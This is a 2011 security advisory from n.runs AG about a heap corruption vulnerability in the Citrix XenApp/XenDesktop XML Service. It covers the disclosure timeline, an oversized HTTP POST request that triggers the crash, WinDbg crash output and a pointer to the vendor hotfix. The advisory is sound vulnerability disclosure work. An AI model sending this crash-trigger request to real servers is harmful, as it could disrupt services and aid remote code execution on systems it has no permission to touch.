Citrix XenApp / XenDesktop XML Service – Heap Corruption
n.runs AG http://www.nruns.com/ security(at)nruns.com n.runs-SA-2011.002 28-Jul-2011 ___________________________________________________________________________ Vendor: Citrix, http://www.citrix.com Affected Products: XenApp and XenDesktop Affected Version: See the Citrix security bulletin [2] for a list Vulnerability: Heap Corruption in Citrix XML Service Risk: HIGH ___________________________________________________________________________ Vendor communication: 2011/04/26 Initial notification and request for PGP key 2011/04/26 Received PGP key. Sent detailed vulnerability description 2011/04/27 Confirmed receival / request for more version/patch information 2011/05/31 Received request for exploit code for reproduction 2011/06/02 n.runs provides Citrix with PoC exploit code 2011/07/12 n.runs requests status update 2011/07/15 Confirmation that issue was identified and patches are scheduled 2011/07/27 Citrix publishes bulletin and hotfix ___________________________________________________________________________ Overview: A heap corruption vulnerability has been found in the Citrix XML Service of XenApp and XenDesktop which is installed on every server used for sharing applications. Successful exploitation allows arbitrary code execution on the server running the XML service. Successful exploitation may allow arbitrary code execution on the server running the XML service. The issue can be triggered with network access to the system running the XML service. Description: The Citrix XML Service (ctxxmls.exe) is installed on every server used for sharing applications. This windows service listens by default on port 80 and can receive HTTP requests. Using HTTP POST requests with a URL starting with the path /scripts/ it is possible to send messages to so called "HTTP Extension DLLs" which consist of XML markup. By sending a POST request to a really long non-existent extension DLL some form of heap corruption can be triggered. A request of the following format was sent: POST /scripts/AAAAAAAAAA[...]AAAAAAAAA.dll HTTP/1.1 Content-Type: text/xml Host: localhost:80 Content-Length: 1234 Connection: Keep-Alive <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"> <NFuseProtocol version="5.1"> <RequestValidateCredentials> <Credentials> <UserName>nruns</UserName> <Password encoding="ctx1">MLBMMMAHNB</Password> <Domain type="NT">TEST</Domain> </Credentials> </RequestValidateCredentials> </NFuseProtocol Around 122.222 'A' characters were sent in our tests which triggered the heap corruption. But repeated tests showed that the observed behavior could not be triggered reliably and sometimes needed multiple tries until a crash was encountered. The following Windbg output shows the observed crash of the XML service: (b68.1020): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=009bfdac ecx=009bfd00 edx=00000000 esi=43434342 edi=00000000 eip=7c82ae6e esp=009bfd60 ebp=009bfd90 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ntdll!RtlImageNtHeaderEx+0x64: 7c82ae6e 66813e4d5a cmp word ptr [esi],5A4Dh ds:0023:43434342=???? *** ERROR: Module load completed but symbols could not be loaded for ctxxmlss.exe 0:001> kb ChildEBP RetAddr Args to Child 009bfd90 7c82aeec 00000001 43434342 00000000 ntdll!RtlImageNtHeaderEx+0x64 009bfdb0 77e703ba 43434342 00000000 00c00048 ntdll!RtlImageNtHeader+0x1b 009bfdc4 00402eda 43434343 00000001 00324628 kernel32!FreeLibrary+0x1b WARNING: Stack unwind information not available. Following frames may be wrong. 009bfee4 004033a4 0032463a 0001dd77 00000015 ctxxmlss+0x2eda 009bff10 004027e4 00c3806e 009bff38 00324628 ctxxmlss+0x33a4 009bff30 00402a88 ffffffff 00324a48 009bff60 ctxxmlss+0x27e4 009bff40 00403a9a 00012cbd 00324628 00000002 ctxxmlss+0x2a88 009bff60 00403be7 00324a48 00000000 00324918 ctxxmlss+0x3a9a 009bff78 00403c2f 00322580 009bffb8 7c349565 ctxxmlss+0x3be7 009bff84 7c349565 00322580 00000000 00000000 ctxxmlss+0x3c2f 009bffb8 77e6482f 00324880 00000000 00000000 MSVCR71!_threadstartex+0x6f [f:\vs70builds\3052\vc\crtbld\crt\src\threadex.c @ 241] 009bffec 00000000 7c3494f6 00324880 00000000 kernel32!BaseThreadStart+0x34 Impact: The exploitability of this issue was not verified but it is to be expected that it can be exploited reliably with more time investments which would then lead to arbitrary remote code execution. Solution: Citrix issued a hotfix for this issue which can be found at [2]. ___________________________________________________________________________ Credit: Bug found by Alexios Fakos and Moritz Jodeit of n.runs AG. ___________________________________________________________________________ References: [1] http://www.citrix.com/ [2] http://support.citrix.com/article/CTX129430 This Advisory and Upcoming Advisories: http://www.nruns.com/security_advisory.php |